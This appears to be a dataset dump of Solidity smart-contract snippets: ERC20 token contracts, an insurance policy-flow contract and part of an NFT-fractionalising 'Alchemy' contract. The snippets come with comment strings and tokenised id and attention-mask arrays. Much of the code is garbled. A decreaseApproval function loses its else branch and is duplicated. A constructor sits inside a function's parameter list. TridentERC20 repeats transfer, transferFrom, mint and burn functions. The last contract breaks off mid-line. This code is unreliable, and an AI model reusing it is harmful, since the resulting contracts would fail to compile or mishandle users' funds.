from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) whenNotPaused checkStorageTime returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public onlyPayloadSize(2) whenNotPaused returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public onlyPayloadSize(2) returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public onlyPayloadSize(2) returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken{ event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public onlyAdmin whenNotPaused canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(this), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is MintableToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyPayloadSize(1) { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } function burnFrom(address _from, uint256 _value) public onlyPayloadSize(2) returns (bool success) { require(balances[_from] >= _value);// Check if the targeted balance is enough require(_value <= allowed[_from][msg.sender]);// Check allowance balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // Subtract from the sender's allowance totalSupply = totalSupply.sub(_value); Burn(_from, _value); return true; } } contract AlttexToken is BurnableToken { string public constant name = "Alttex"; string public constant symbol = "ALTX"; uint8 public constant decimals = 8; }
* @title Standard ERC20 token @dev Implementation of the basic standard token./
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) whenNotPaused checkStorageTime returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public onlyPayloadSize(2) whenNotPaused returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public onlyPayloadSize(2) returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public onlyPayloadSize(2) returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public onlyPayloadSize(2) returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } else { }
331,683
[ 1, 8336, 4232, 39, 3462, 1147, 225, 25379, 434, 326, 5337, 4529, 1147, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 8263, 1345, 353, 4232, 39, 3462, 16, 7651, 1345, 288, 203, 203, 225, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 2935, 31, 203, 203, 203, 225, 445, 7412, 1265, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 1132, 13, 1071, 7010, 225, 1338, 6110, 1225, 12, 23, 13, 1347, 1248, 28590, 866, 3245, 950, 1135, 261, 6430, 13, 288, 203, 565, 2583, 24899, 869, 480, 1758, 12, 20, 10019, 203, 565, 2583, 24899, 1132, 1648, 324, 26488, 63, 67, 2080, 19226, 203, 565, 2583, 24899, 1132, 1648, 2935, 63, 67, 2080, 6362, 3576, 18, 15330, 19226, 203, 203, 565, 324, 26488, 63, 67, 2080, 65, 273, 324, 26488, 63, 67, 2080, 8009, 1717, 24899, 1132, 1769, 203, 565, 324, 26488, 63, 67, 869, 65, 273, 324, 26488, 63, 67, 869, 8009, 1289, 24899, 1132, 1769, 203, 565, 2935, 63, 67, 2080, 6362, 3576, 18, 15330, 65, 273, 2935, 63, 67, 2080, 6362, 3576, 18, 15330, 8009, 1717, 24899, 1132, 1769, 203, 565, 12279, 24899, 2080, 16, 389, 869, 16, 389, 1132, 1769, 203, 565, 327, 638, 31, 203, 225, 289, 203, 203, 225, 445, 6617, 537, 12, 2867, 389, 87, 1302, 264, 16, 2254, 5034, 389, 1132, 13, 1071, 7010, 225, 1338, 6110, 1225, 12, 22, 13, 1347, 1248, 28590, 1135, 261, 6430, 13, 288, 203, 203, 565, 2583, 12443, 67, 1132, 422, 374, 13, 747, 261, 8151, 63, 3576, 18, 15330, 6362, 67, 87, 1302, 264, 65, 422, 374, 10019, 203, 203, 565, 2935, 2 ]
./full_match/137/0x9A8492e4f2d6103Db31B4F6e538719554B917CAb/sources/project_/contracts/flows/PolicyFlowDefault.sol
solhint-disable-next-line no-empty-blocks
contract PolicyFlowDefault is WithRegistry { bytes32 public constant NAME = "PolicyFlowDefault"; function newApplication( bytes32 _bpKey, constructor(address _registry) WithRegistry(_registry) {} ) external { IPolicyController policy = getPolicyContract(); uint256 productId = getLicenseContract().getProductId(msg.sender); policy.createPolicyFlow(productId, _bpKey); policy.createApplication(_bpKey, _data); } function underwrite(bytes32 _bpKey) external { IPolicyController policy = getPolicyContract(); require( policy.getApplication(_bpKey).state == IPolicy.ApplicationState.Applied, "ERROR:PFD-001:INVALID_APPLICATION_STATE" ); policy.setApplicationState( _bpKey, IPolicy.ApplicationState.Underwritten ); policy.createPolicy(_bpKey); } function decline(bytes32 _bpKey) external { IPolicyController policy = getPolicyContract(); require( policy.getApplication(_bpKey).state == IPolicy.ApplicationState.Applied, "ERROR:PFD-002:INVALID_APPLICATION_STATE" ); policy.setApplicationState(_bpKey, IPolicy.ApplicationState.Declined); } function newClaim(bytes32 _bpKey, bytes calldata _data) external returns (uint256 _claimId) { _claimId = getPolicyContract().createClaim(_bpKey, _data); } function confirmClaim( bytes32 _bpKey, uint256 _claimId, bytes calldata _data ) external returns (uint256 _payoutId) { IPolicyController policy = getPolicyContract(); require( policy.getClaim(_bpKey, _claimId).state == IPolicy.ClaimState.Applied, "ERROR:PFD-003:INVALID_CLAIM_STATE" ); policy.setClaimState(_bpKey, _claimId, IPolicy.ClaimState.Confirmed); _payoutId = policy.createPayout(_bpKey, _claimId, _data); } function declineClaim(bytes32 _bpKey, uint256 _claimId) external { IPolicyController policy = getPolicyContract(); require( policy.getClaim(_bpKey, _claimId).state == IPolicy.ClaimState.Applied, "ERROR:PFD-004:INVALID_CLAIM_STATE" ); policy.setClaimState(_bpKey, _claimId, IPolicy.ClaimState.Declined); } function expire(bytes32 _bpKey) external { IPolicyController policy = getPolicyContract(); require( policy.getPolicy(_bpKey).state == IPolicy.PolicyState.Active, "ERROR:PFD-005:INVALID_POLICY_STATE" ); policy.setPolicyState(_bpKey, IPolicy.PolicyState.Expired); } function payout( bytes32 _bpKey, uint256 _payoutId, bool _complete, bytes calldata _data ) external { getPolicyContract().payOut(_bpKey, _payoutId, _complete, _data); } function proposeProduct(bytes32 _productName, bytes32 _policyFlow) external returns (uint256 _productId) { _productId = getLicenseContract().proposeProduct( _productName, msg.sender, _policyFlow ); } function request( bytes32 _bpKey, bytes calldata _input, string calldata _callbackMethodName, address _callbackContractAddress, bytes32 _oracleTypeName, uint256 _responsibleOracleId ) external returns (uint256 _requestId) { _requestId = getQueryContract().request( _bpKey, _input, _callbackMethodName, _callbackContractAddress, _oracleTypeName, _responsibleOracleId ); } function getApplicationData(bytes32 _bpKey) external view returns (bytes memory _data) { IPolicyController policy = getPolicyContract(); return policy.getApplication(_bpKey).data; } function getClaimData(bytes32 _bpKey, uint256 _claimId) external view returns (bytes memory _data) { IPolicyController policy = getPolicyContract(); return policy.getClaim(_bpKey, _claimId).data; } function getPayoutData(bytes32 _bpKey, uint256 _payoutId) external view returns (bytes memory _data) { IPolicyController policy = getPolicyContract(); return policy.getPayout(_bpKey, _payoutId).data; } function getLicenseContract() internal view returns (ILicenseController) { return ILicenseController(getContractFromRegistry("License")); } function getPolicyContract() internal view returns (IPolicyController) { return IPolicyController(getContractFromRegistry("Policy")); } function getQueryContract() internal view returns (IQueryController) { return IQueryController(getContractFromRegistry("Query")); } }
4,718,075
[ 1, 18281, 11317, 17, 8394, 17, 4285, 17, 1369, 1158, 17, 5531, 17, 7996, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 7436, 5249, 1868, 353, 3423, 4243, 288, 203, 565, 1731, 1578, 1071, 5381, 6048, 273, 315, 2582, 5249, 1868, 14432, 203, 203, 203, 565, 445, 394, 3208, 12, 203, 3639, 1731, 1578, 389, 17152, 653, 16, 203, 203, 203, 565, 3885, 12, 2867, 389, 9893, 13, 3423, 4243, 24899, 9893, 13, 2618, 203, 565, 262, 3903, 288, 203, 3639, 467, 2582, 2933, 3329, 273, 1689, 1590, 8924, 5621, 203, 3639, 2254, 5034, 23820, 273, 9014, 5142, 8924, 7675, 588, 19268, 12, 3576, 18, 15330, 1769, 203, 203, 3639, 3329, 18, 2640, 2582, 5249, 12, 5896, 548, 16, 389, 17152, 653, 1769, 203, 3639, 3329, 18, 2640, 3208, 24899, 17152, 653, 16, 389, 892, 1769, 203, 565, 289, 203, 203, 565, 445, 3613, 2626, 12, 3890, 1578, 389, 17152, 653, 13, 3903, 288, 203, 3639, 467, 2582, 2933, 3329, 273, 1689, 1590, 8924, 5621, 203, 3639, 2583, 12, 203, 5411, 3329, 18, 588, 3208, 24899, 17152, 653, 2934, 2019, 422, 203, 7734, 467, 2582, 18, 3208, 1119, 18, 16203, 16, 203, 5411, 315, 3589, 30, 52, 16894, 17, 11664, 30, 9347, 67, 25039, 67, 7998, 6, 203, 3639, 11272, 203, 3639, 3329, 18, 542, 3208, 1119, 12, 203, 5411, 389, 17152, 653, 16, 203, 5411, 467, 2582, 18, 3208, 1119, 18, 14655, 9748, 203, 3639, 11272, 203, 3639, 3329, 18, 2640, 2582, 24899, 17152, 653, 1769, 203, 565, 289, 203, 203, 565, 445, 3496, 558, 12, 3890, 1578, 389, 17152, 653, 13, 3903, 288, 203, 3639, 467, 2582, 2933, 3329, 273, 1689, 1590, 8924, 2 ]
./full_match/42/0xe0Ab69528526a07c03335B64487cFD5fD7273501/sources/index.sol
@notice Trident pool ERC-20 with EIP-2612 extension. @author Adapted from RariCapital, https://github.com/Rari-Capital/solmate/blob/main/src/erc20/ERC20.sol, License-Identifier: AGPL-3.0-only.
abstract contract TridentERC20 { event Transfer(address indexed sender, address indexed recipient, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); string public constant name = "Sushi LP Token"; string public constant symbol = "SLP"; uint8 public constant decimals = 18; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; uint256 internal immutable DOMAIN_SEPARATOR_CHAIN_ID; bytes32 internal immutable _DOMAIN_SEPARATOR; bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); mapping(address => uint256) public nonces; constructor() { DOMAIN_SEPARATOR_CHAIN_ID = block.chainid; _DOMAIN_SEPARATOR = _calculateDomainSeparator(); } function _calculateDomainSeparator() internal view returns (bytes32 domainSeperator) { domainSeperator = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), block.chainid, address(this) ) ); } function DOMAIN_SEPARATOR() public view returns (bytes32 domainSeperator) { domainSeperator = block.chainid == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(); } function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external returns (bool) { balanceOf[msg.sender] -= amount; unchecked { balanceOf[recipient] += amount; } emit Transfer(msg.sender, recipient, amount); return true; } function transfer(address recipient, uint256 amount) external returns (bool) { balanceOf[msg.sender] -= amount; unchecked { balanceOf[recipient] += amount; } emit Transfer(msg.sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { if (allowance[sender][msg.sender] != type(uint256).max) { allowance[sender][msg.sender] -= amount; } balanceOf[sender] -= amount; unchecked { balanceOf[recipient] += amount; } emit Transfer(sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { if (allowance[sender][msg.sender] != type(uint256).max) { allowance[sender][msg.sender] -= amount; } balanceOf[sender] -= amount; unchecked { balanceOf[recipient] += amount; } emit Transfer(sender, recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { if (allowance[sender][msg.sender] != type(uint256).max) { allowance[sender][msg.sender] -= amount; } balanceOf[sender] -= amount; unchecked { balanceOf[recipient] += amount; } emit Transfer(sender, recipient, amount); return true; } function permit( address owner, address spender, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline))) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_PERMIT_SIGNATURE"); allowance[recoveredAddress][spender] = amount; emit Approval(owner, spender, amount); } function _mint(address recipient, uint256 amount) internal { totalSupply += amount; unchecked { balanceOf[recipient] += amount; } emit Transfer(address(0), recipient, amount); } function _mint(address recipient, uint256 amount) internal { totalSupply += amount; unchecked { balanceOf[recipient] += amount; } emit Transfer(address(0), recipient, amount); } function _burn(address sender, uint256 amount) internal { balanceOf[sender] -= amount; unchecked { totalSupply -= amount; } emit Transfer(sender, address(0), amount); } function _burn(address sender, uint256 amount) internal { balanceOf[sender] -= amount; unchecked { totalSupply -= amount; } emit Transfer(sender, address(0), amount); } }
9,572,366
[ 1, 1070, 6392, 2845, 4232, 39, 17, 3462, 598, 512, 2579, 17, 5558, 2138, 2710, 18, 225, 22792, 329, 628, 534, 12954, 4664, 7053, 16, 2333, 2207, 6662, 18, 832, 19, 54, 12954, 17, 4664, 7053, 19, 18281, 81, 340, 19, 10721, 19, 5254, 19, 4816, 19, 12610, 3462, 19, 654, 39, 3462, 18, 18281, 16, 16832, 17, 3004, 30, 432, 43, 6253, 17, 23, 18, 20, 17, 3700, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 840, 6392, 654, 39, 3462, 288, 203, 565, 871, 12279, 12, 2867, 8808, 5793, 16, 1758, 8808, 8027, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 3410, 16, 1758, 8808, 17571, 264, 16, 2254, 5034, 3844, 1769, 203, 203, 565, 533, 1071, 5381, 508, 273, 315, 55, 1218, 77, 511, 52, 3155, 14432, 203, 565, 533, 1071, 5381, 3273, 273, 315, 4559, 52, 14432, 203, 565, 2254, 28, 1071, 5381, 15105, 273, 6549, 31, 203, 203, 565, 2254, 5034, 1071, 2078, 3088, 1283, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 11013, 951, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 1071, 1699, 1359, 31, 203, 377, 203, 565, 2254, 5034, 2713, 11732, 27025, 67, 4550, 67, 1792, 6964, 67, 734, 31, 203, 565, 1731, 1578, 2713, 11732, 389, 18192, 67, 4550, 31, 203, 565, 1731, 1578, 1071, 5381, 10950, 6068, 67, 2399, 15920, 273, 417, 24410, 581, 5034, 2932, 9123, 305, 12, 2867, 3410, 16, 2867, 17571, 264, 16, 11890, 5034, 460, 16, 11890, 5034, 7448, 16, 11890, 5034, 14096, 2225, 1769, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 1071, 1661, 764, 31, 203, 203, 565, 3885, 1435, 288, 203, 3639, 27025, 67, 4550, 67, 1792, 6964, 67, 734, 273, 1203, 18, 5639, 350, 31, 203, 3639, 389, 18192, 67, 4550, 273, 389, 11162, 3748, 6581, 5621, 203, 565, 289, 203, 377, 203, 565, 445, 389, 11162, 3748, 6581, 1435, 2713, 1476, 1135, 261, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma experimental ABIEncoderV2; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; /// @author Alchemy Team /// @title Alchemy /// @notice The Alchemy contract wraps nfts into erc20 contract Alchemy is IERC20 { // using Openzeppelin contracts for SafeMath and Address using SafeMath for uint256; using Address for address; // presenting the total supply uint256 internal _totalSupply; // representing the name of the governance token string internal _name; // representing the symbol of the governance token string internal _symbol; // representing the decimals of the governance token uint8 internal constant _decimals = 18; // a record of balance of a specific account by address mapping(address => uint256) private _balances; // a record of allowances for a specific address by address to address mapping mapping(address => mapping(address => uint256)) private _allowances; // presenting the shares for sale uint256 public _sharesForSale; // struct for raised nfts struct _raisedNftStruct { IERC721 nftaddress; bool forSale; uint256 tokenid; uint256 price; } // The total number of NfTs in the DAO uint256 public _nftCount; // array for raised nfts _raisedNftStruct[] public _raisedNftArray; // mapping to store the already owned nfts mapping (address => mapping( uint256 => bool)) public _ownedAlready; // the owner and creator of the contract address public _owner; // the buyout price. once its met, all nfts will be transferred to the buyer uint256 public _buyoutPrice; // the address which has bought the dao address public _buyoutAddress; // representing the governance contract of the nft address public _governor; // representing the timelock address of the nft for the governor address public _timelock; // factory contract address address public _factoryContract; // A record of each accounts delegate mapping (address => address) public delegates; // A checkpoint for marking number of votes from a given block struct Checkpoint { uint256 votes; uint32 fromBlock; } // A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; // The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; // A record of states for signing / validating signatures mapping (address => uint) public nonces; // An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); // An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); constructor() { // Don't allow implementation to be initialized. _factoryContract = address(1); } function initialize( IERC721 nftAddress_, address owner_, uint256 tokenId_, uint256 totalSupply_, string memory name_, string memory symbol_, uint256 buyoutPrice_, address factoryContract, address governor_, address timelock_ ) external { require(_factoryContract == address(0), "already initialized"); require(factoryContract != address(0), "factory can not be null"); _owner = owner_; _factoryContract = factoryContract; _governor = governor_; _timelock = timelock_; _raisedNftStruct memory temp_struct; temp_struct.nftaddress = nftAddress_; temp_struct.tokenid = tokenId_; _raisedNftArray.push(temp_struct); _nftCount++; _ownedAlready[address(nftAddress_)][tokenId_] = true; _totalSupply = totalSupply_; _name = name_; _symbol = symbol_; _buyoutPrice = buyoutPrice_; _balances[_owner] = _totalSupply; emit Transfer(address(0), owner_, _totalSupply); } /** * @notice modifier only timelock can call these functions */ modifier onlyTimeLock() { require(msg.sender == _timelock, "ALC:Only Timelock can call"); _; } /** * @notice modifier only if buyoutAddress is not initialized */ modifier stillToBuy() { require(_buyoutAddress == address(0), "ALC:Already bought out"); _; } /** * @dev Destroys `amount` tokens from `account`, reducing * and updating burn tokens for abstraction * * @param amount the amount to be burned */ function _burn(uint256 amount) internal { _totalSupply = _totalSupply.sub(amount); } /** * @dev After a buyout token holders can burn their tokens and get a proportion of the contract balance as a reward */ function burnForETH() external { uint256 balance = balanceOf(msg.sender); _balances[msg.sender] = 0; uint256 contractBalance = address(this).balance; uint256 cashOut = contractBalance.mul(balance).div(_totalSupply); _burn(balance); msg.sender.transfer(cashOut); emit Transfer(msg.sender, address(0), balance); } /** * @notice Lets any user buy shares if there are shares to be sold * * @param amount the amount to be bought */ function buyShares(uint256 amount) external payable { require(_sharesForSale >= amount, "low shares"); require(msg.value == amount.mul(_buyoutPrice).div(_totalSupply), "low value"); _balances[msg.sender] = _balances[msg.sender].add(amount); _sharesForSale = _sharesForSale.sub(amount); emit Transfer(address(0), msg.sender, amount); } /** * @notice view function to get the discounted buyout price * * @param account the account */ function getBuyoutPriceWithDiscount(address account) public view returns (uint256) { uint256 balance = _balances[account]; return _buyoutPrice.mul((_totalSupply.sub(balance)).mul(10**18).div(_totalSupply)).div(10**18); } /** * @notice Lets anyone buyout the whole dao if they send ETH according to the buyout price * all nfts will be transferred to the buyer * also a fee will be distributed 0.5% */ function buyout() external payable stillToBuy { uint256 buyoutPriceWithDiscount = getBuyoutPriceWithDiscount(msg.sender); require(msg.value == buyoutPriceWithDiscount, "buy value not met"); uint256 balance = _balances[msg.sender]; _balances[msg.sender] = 0; _burn(balance); // Take 0.5% fee address payable alchemyRouter = IAlchemyFactory(_factoryContract).getAlchemyRouter(); IAlchemyRouter(alchemyRouter).deposit{value:buyoutPriceWithDiscount / 200}(); // set buyer address _buyoutAddress = msg.sender; emit Transfer(msg.sender, address(0), balance); } /** * @notice transfers specific nfts after the buyout happened * * @param nftids the aray of nft ids */ function buyoutWithdraw(uint[] memory nftids) external { require(msg.sender == _buyoutAddress, "can only be called by the buyer"); _raisedNftStruct[] memory raisedNftArray = _raisedNftArray; for (uint i=0; i < nftids.length; i++) { raisedNftArray[nftids[i]].nftaddress.safeTransferFrom(address(this), msg.sender, raisedNftArray[nftids[i]].tokenid); } } /** * @notice decreases shares for sale on the open market * * @param amount the amount to be burned */ function burnSharesForSale(uint256 amount) onlyTimeLock external { require(_sharesForSale >= amount, "Low shares"); _burn(amount); _sharesForSale = 